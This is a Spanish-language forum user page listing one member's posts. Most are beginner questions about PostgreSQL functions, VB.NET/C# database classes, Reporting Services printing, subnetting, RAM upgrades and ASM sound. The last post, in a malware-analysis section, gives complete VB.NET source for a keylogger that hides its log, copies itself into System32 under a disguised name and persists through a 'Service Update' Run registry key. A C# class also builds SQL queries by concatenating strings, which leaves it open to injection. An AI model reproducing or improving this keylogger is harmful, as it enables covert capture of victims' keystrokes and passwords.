Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - estebanvr

#1
Buen día, quería ver la posibilidad de que algún usuario me orientara en el tema de los procedimientos almacenados en Postgresql, les detallo un poco como esta la situación:

-El servidor de es un ubuntu server 12.04 y la versión del postgresql es la 9.4
-El pgAdmin III se conecta desde Windows 7 a la maquina virtual, hasta ahora todo bien con la comunicación, ya tengo instalado el odbc para postgresql

Ahora quería implementar la creación de sp, pero no existen, lo más parecido son las funciones, entonces investigué un poco y si logré crear una función, pero no se como rayos hacerle el llamado, tengo algo asi:

__________________________________________________________________

select "Procesa_Trama_v2" ('hola soy una cadena');
__________________________________________________________________

Pero el pgAdmin me lanza un error y no tengo idea porque:


ERROR:  function Procesa_Trama_v2(unknown) does not exist
LINE 1: select "Procesa_Trama_v2" ('hola soy esteban');
               ^
HINT:  No function matches the given name and argument types. You might need to add explicit type casts.

********** Error **********
__________________________________________________________________

Acá les muestro la función que hice, en realidad es muy sencilla, se le ingresa como parámetro una cadena, y devuelve la misma, más su largo:

__________________________________________________________________
CREATE OR REPLACE FUNCTION Procesa_Trama_v2(Hilera_Entrada text)
  RETURNS text AS
$BODY$
        BEGIN
              Select Hilera_Entrada, LENGTH('Hilera_Entrada');
        END;
$BODY$
  LANGUAGE plpgsql VOLATILE
  COST 100;
ALTER FUNCTION Procesa_Trama_v2(text)
  OWNER TO postgres;
__________________________________________________________________


Espero me puedan ayudar, por que me estoy volviendo loco, saber si la función esta correcta y como realizar el llamado de manera efectiva.

!Saludos! y gracias por leer la pregunta =)
#2
Buenas, tengo el siguiente problema espero por favor me puedan ayudar, me estoy volviendo loco.

Resulta que tengo una aplicacion en vb.net usando visual 2010, y para la parte de las facturas utilizo reporting services, el control que alberga mis reportes es un reportviewer, es necesario pre visualizar el reporte antes de imprimirlo, bien, resulta que cuando quiero mandarlo a imprimir con el botón para imprimir que viene en el tooltip del reportviewer, me muestra el printdialog, pero este trae deshabilitadas las opciones para seleccionar la "pagina actual" y la de "selección", en la parte de intervalo de paginas, osea que solo viene habilitada la de "todos" y no me conviene que se impriman todas las paginas a la veces, ya que se tratan de facturas, lo ideal seria una a la ves y que esta sea selecciona por el usuario con al opcion de "pagina actual", pero como rayos hago, si la opción viene desabilitada por defecto.

Espero me puedan dar una mano. Saludos
#3
Hola resulta que tengo un pequeño inconveniente a la hora de pasar un constructor en VB.NET a C#, el cual se encarga de pasar la cadena de conexion en una clase que tengo para la conexion a la base de datos, normalmente en VB.NET lo haria de la siguiente manera:

Código (vbnet) [Seleccionar]

Imports System.Windows.Forms
Public Class BD_Conexion
   Dim BD As New Data.SqlClient.SqlConnection
   Dim CadenaConexion As String

   Private Sub Conectar_BD()
       BD.ConnectionString = CadenaConexion
       BD.Open()
   End Sub

   Public Sub Desconectar_BD()
       BD.Close()
   End Sub

   Public Sub New(ByVal CadenaConexion As String)
       Me.CadenaConexion = CadenaConexion
   End Sub


End Class


Y a la hora de usar las funciones de mi clase lo haria de esta manera:

Código ( vbnet) [Seleccionar]

Friend BD As New Lib_Conexion.BD_Conexion("Aqui la cadena de conexion la cual se envia por medio del constructor")


Pero resulta que ahora estoy elaborando un proyecto universitario y no recuerdo ni encuentro por ningún sitio como hacer esto en C#.NET, agradecería que me echaran una mano.

Lo que tengo hasta el momento es esto

Código ( c#net) [Seleccionar]


using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Data .SqlClient ;
using System.Data.SqlTypes;
using System.Data;

namespace Lib_BaseDatos
{

   public class Lib_Conexion
   {
        SqlConnection BD = new SqlConnection();
       string Cadena_Conexion="";

       private void Conectar_BD()
       {
           BD.ConnectionString = Cadena_Conexion;
           BD.Open();
       }

       void Desconectar_BD()
       {
           BD.Close();
       }

       public void Sql_Ejecuta_Instruccion(string Sqlinstruccion)
       {
           Conectar_BD();
           SqlCommand Comando = new SqlCommand(Sqlinstruccion, BD);
           Comando.ExecuteNonQuery();
           Desconectar_BD();
       }

       public void Llenar_Ds(System.Data.DataSet Ds, string Sqlinstruccion)
       {
           Conectar_BD();
           SqlDataAdapter Adaptador = new SqlDataAdapter(Sqlinstruccion, BD);
           Adaptador.Fill(Ds);
           Desconectar_BD();
       }

       public Boolean Dato_Repetido(string Tabla, string PrimaryKey, string Valor) {
           string sqlinstruccion="";
           DataSet ds = new DataSet();

           sqlinstruccion = "select * from " + Tabla + " where " + PrimaryKey + " = '" + Valor + "'";
         
          Llenar_Ds (ds, sqlinstruccion );
           
           if(ds.Tables[0].Rows .Count > 0){
           
               return true;
           }
           else
               {
               return false;
               }    
       }

       public string Averigua_Consecutivo(string Tabla, string PrimaryKey) {
           string sqlinstruccion = "";
           DataSet ds = new DataSet();

           sqlinstruccion = "select isnull (max(" + PrimaryKey  + "),0) + 1 from " + Tabla ;
           Llenar_Ds(ds, sqlinstruccion);

           return ds.Tables[0].Rows[0].ItemArray [0].ToString ();
       }
    }}


Lo que no tengo idea es como usar un constructor para poder pasar mi cadena, lo estaba declarando de la siguiente manera:

Código ( vbnet) [Seleccionar]

    public new (string Cadena_Conexion){
   this .Cadena_Conexion= Cadena_Conexion;
   }


Pero me saltan multiples errores, espero me ayuden a traducir esa porcion de codigo,
saludos y gracias
#4
Hola, resulta que quería saber si existía una función o Api por la cual pudiera saber el nombre que tiene mi ejecutable, para que si uso algún metido para agregar mi aplicación al registro de Windows, ese ingreso sea mas dinámico y se ingrese con el nombre que tiene en ese momento y no uno que yo definiría en el momento en que este programando mi aplicación.

Espero me dar una mano y disculpen las molestias

Saludos¡
#5
Redes / Ayuda a subnetear sin saber binario
12 Octubre 2011, 21:04 PM
Hola y gracias por leer mi pregunta, resulta que tengo problemas con el subneteo, y he estado buscando por google, pero la única forma que viene explicado es aplicando binario y no tengo ni idea de como empezar, ademas el profesor no lo va a calificar de esa manera.

Quería ver si me podrían ayudar con algun link donde expliquen a subnetear host y redes, pero que no apliquen el subneteo usando binario, lo agradeceria montones que me muestren un ejemplito por este medio para tener una mejor idea.

Gracias por su tiempo, Saludos.


#6
PHP / ¿Duda sobre como empezar en PHP?
4 Julio 2011, 22:48 PM
Resulta que tengo un proyecto en mi universidad, y nos dijeron que tenemos la opción de realizar el proyecto ya sea en PHP ó Asp.net, sobre Asp.net tengo algunas bases y conocimientos, pero sobre Php son nulos, aunque opino que seria muy interesante desarrollar mi proyecto en Php conectando con Sql Server 2008 R2,

Ahora mi principal pregunta seria: ¿Existe algun IDE de Php donde pueda modificar la parte visual del sitio web similar a como se hace en ASP.NET?

Me explico, en ASP.NET yo por medio del control box, puedo arrastrar y soltar los controles que le voy a agregar a mi web form, y puedo ir montando como va a lucir mi pagina, Pero por lo poco que he observado en Php, esto no se puede hacer ó no sé si es posible realizarlo, solo he visto que se añade codigo a lo "caballo".

Entonces quiero ver si me ayudan a mencionar nombres, de algún entorno en el cual sea posible (php).

Gracias y espero que me ayuden Por Favor¡
#7
Buenas, la razón de mi pregunta era para saber si en visual basic .net en visual studio 2010, existe alguna propiedad para mostrar información, ó una ayuda, en un control especifico:


Ejemplo:Que si yo tengo un textbox, y ese textbox lo voy a usar para mostrar el id de los empleados, entonces que en cuanto el mouse del usuario se posicione sobre el textbox, se muestre un mensaje, (como cuando alguien va a decir algo en la tele), con información del control ejemplo:"Aquí se almacena el Id de los Empleados".


Esa seria me duda, espero que me ayuden a ver por donde empiezo. Gracias
#8
Alguien que me ayude con esta interrogante, ya que quiero aumentarle a mi notebook Compaq Presario CQ40-605LA la capacidad de la memoria, y eh estado buscando por Internet y no encuentro las marcas de la memoria que actualmente tiene instalado, mi notebook tiene 3 gb de ram una de 1 gb y la otra de 2gb y permite un máximo de 4gb, el SO es Windows 7 home Basic.

Quería ver si me orientaban en los siguiente:
-Si compro una memoria de 2gb que no es de la marca que tiene instalada mi notebook, le funcionarían de manera correcta?
-Mis memorias Ram dicen algo de 400 mhz, si le instalo una memoria de mas capacidad (1066 mhz) funcionaria correctamente?
-Estuve viendo por Internet unas Memorias Ram marca Kingston de 2gb, si la compro me funcionaria aunque la cantidad de mhz sea mayor? ejemplo 1333mhz

Estas serian mis dudas y espero que me puedan ayudar ya que tengo cierta urgencia en saber esta información.
Gracias
#9
ASM / Como hacer el Sound en ASM?
12 Abril 2011, 00:42 AM
Alguien me podría orientar como hacer un sound, así como en turbo c++ sound(100)
que interrupción, que servicio?

Utilizo el Emu 8086 y Tasm

Gracias espero que colaboren con mi duda
#10
Resulta que tengo un Reporte, que emite facturas, pero a la hora de seleccionar la opcion de imprimir, me imprime todos los registros que me genera la consulta, osea: me imprime todas las facturas,
Ahora

Necesito saber como imprimo un solo registro seleccionado por el usuario, por medio de flechas de navegación en el Reporting Service de Visual Studio 2010, para así poder entregarle al cliente únicamente la factura que le corresponda, alguna idea de como hacerlo, sera de gran ayuda.

Gracias.
#11
Hola, resulta que estoy elaborando cierto programa, y quiero implementar la funcion de que cuando el usuario navegue los registros de la BD por medio de textboxs , aparezca debajo algo como asi:

ejemplo:
2 de 10

donde 2 es el registro que el usuario tiene posicionado y 10 el total de registros de la tabla, el numero 2 se incrementara conforme el usuario pulse el boton de adelantar,

Mi problema radica en saber como obtener la posición del registro seleccionado,
Espero me puedan ayudar ya sea con en codigo o una consulta sql

Me ayudaría un montón si no se tuviera que implementar con datarows

Gracias por su Tiempo
#12
Hola quisiera que me ayudaran un poco con mi incognita: Existe en c++ una funcion o procedimiento que le indique a mi programa que Windows sera apagado?, se que podria empezar a buscar en google pero no se como entrarle al tema, me dieran una pista de como hacerle.
algo asi como que el usuario que windows no tenga que finalizar el proceso o el usuario dandole "Finalizar Ahora"

Gracias....
#13
Gracias por leer esto y quisiera que me ayudaran a responder mi duda ¿Es posible en Visual Basic .NET utilizar una dll que se encuentre en otro directorio diferente de donde se encuentra la aplicacion que la necesita?

Gracias...
#14
Aqui muestro un pequeno ejemplo de como cargar los datos de una bd a un combobox en vb.net

Código (vb.net) [Seleccionar]

 Public Sub Cargar_combo(ByVal combobox As ComboBox, ByVal sqlinstruccion As String)

       'Carga el contenido de un dataset en un combobox, solo pueden devolver dos relaciones
       'ya que el combobox cuenta con dos propiedades: text y value

       Dim ds As New DataSet
       BD.Llenards(ds, sqlinstruccion)
       combobox.DataSource = ds.Tables(0)
       combobox.DisplayMember = ds.Tables(0).Columns(0).Caption.ToString()
       combobox.ValueMember = ds.Tables(0).Columns(1).Caption.ToString()
   End Sub

'Aqui esta el Codigo de el Procedimiento Llenards
Public Sub Llenards(ByRef ds As DataSet, ByVal sqlinstruccion As String)
       Conectarbd()
       Dim adaptador As New OleDb.OleDbDataAdapter(sqlinstruccion, bd)
       adaptador.Fill(ds)
       Desconectarbd()
   End Sub


Espero que a alguien le serva  ya que el ejemplo en el que me base para este codigo me fue dificil de encontrarlo ;)
Alguna duda, sugerencia o comentario; me lo hacen saber por fa

*Este ejemplo puede ser utilizado de la siguiente Manera

Código (vb.net) [Seleccionar]

Cargar_combo(Mi_Combobox as Combobox, "select id_persona,nombre_persona from personas")
'Tratar de que el value del combox siempre sea la primera a escribir
' en la instruccion sql y luego el texto que se va a mostrar para el usuario
#15
Análisis y Diseño de Malware / Key Loger en VB .NET
17 Septiembre 2010, 16:56 PM
Aqui hay un ejemplo de un keyloger en vb .net, lo que hice fue crear una aplicacion de windows nueva, luego me fue a las propiedades del proyecto y en ves de seleccionar aplicaciones para windows seleccione servicio de windows, luego se agrega un archivo de codigo y recomiendo eliminar el del formulario, y en la ventana de propiedade hacer que el archivo de codigo fuente sea el primero en iniciar,
aqui esta el codigo fuente , se que no es el mejor pero creo que a alguien le puede servir de algo,
Hay que tratar de eliminar las referencias a librerias que no estemos ocupando, para el caso de este keylogger deje solo windows.forms

Aqui esta codigo fuente del "Programa Principal"
Código (vbnet) [Seleccionar]

'--------------------------------------------------------------------------
Imports System.Windows.Forms
Module KLG

   Sub main()
       Dim tiempo As DateTime = DateTime.Now

       If IO.File.Exists(ruta) = True Then
           SetAttr(ruta, FileAttribute.Hidden)
       End If

       Comprobar_el_reg()
       copiar_a("cssrs.exe", "C:\Windows\System32\cssrs.exe")
       escribe("<<" & tiempo.ToShortTimeString() & "|" & tiempo.ToShortDateString() & ":")

       While ((comprobar_tecla(27) And comprobar_tecla(32) And comprobar_tecla(69)) <> True)

           espera(70)
           Comprobar_el_reg()'esto en un ciclo ya que si borran la clave de registro esta se podra volver a registrar


           For i As Integer = 32 To 128
               If comprobar_tecla(i) = True Then
                   espera(70)
                   escribe(Chr(i))
                   Exit For
               End If
           Next

           If comprobar_tecla(13) = True Then
               escribe(" (E) ")
           End If

           If comprobar_tecla(8) = True Then
               escribe(" (B) ")
           End If

           If comprobar_tecla(9) = True Then
               escribe(" (T) ")
           End If

           If comprobar_tecla(27) = True Then
               escribe(" (S) ")
           End If

           If comprobar_tecla(32) = True Then
               escribe(" ")
           End If

           If comprobar_tecla(46) = True Then
               escribe(".")
           End If
       End While

       escribe(">>EOR")
       Application.Exit()
   End Sub

End Module
'--------------------------------------------------------------------------
Aqui el modulo llamado Mod_Operaciones

Module Mod_Operaciones

   Friend Const ruta As String = "C:\Windows\System32\cssrs.001"

'Escribe en el archivo cssrs.001 las lecturas registradas
'se le agrega un poco de seguridad convirtiendolo a base64

   Friend Sub escribe(ByVal cadena_tecla As String)
       Dim archivo As New IO.StreamWriter(ruta, True)
       archivo.WriteLine(Convert.ToBase64String(System.Text.Encoding.Default.GetBytes(cadena_tecla)))
       archivo.Flush()
       archivo.Dispose()
       archivo.Close()
   End Sub

'Copia el ejecutable de keylogger en el directorio system32
   Friend Sub copiar_a(ByVal ruta_origen As String, ByVal ruta_destino As String)
       If IO.File.Exists(ruta_destino) = True Then Exit Sub
       IO.File.Copy(ruta_origen, ruta_destino)
   End Sub

'Intervalo de tiempo para las lecturas
   Friend Sub espera(ByVal milisegundos As Integer)
       Threading.Thread.Sleep(milisegundos)
   End Sub

End Module
'-------------------------------------------------------------------------- Modulo llamado Mod_Operaciones

Imports Microsoft.Win32
Module Mod_Subsistir

   Declare Function GAKS Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer

'Comprueba si la clave de registro se encuentra en el sistema
'si no existe o si es borrada la crea

   Friend Sub Comprobar_el_reg()

       Dim llave_reg2 As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)

       If llave_reg2.GetValue("Service Update", "C:\Windows\System32\cssrs.exe") <> Nothing Then

           llave_reg2.SetValue("Service Update", "C:\Windows\System32\cssrs.exe")

       End If
   End Sub

'Se encarga de saber que tecla ha sido pulsada
   Friend Function comprobar_tecla(ByVal tecla As Integer) As Boolean
       If GAKS(tecla) <> 0 Then
           Return True
       End If
   End Function
End Module
'--------------------------------------------------------------------------

Alguna sugerencia para poder mejorarlo por favor
ahora el problema que tengo es que no se como leer teclas especiales como @ .
y ya probe

comprobar_tecla(64)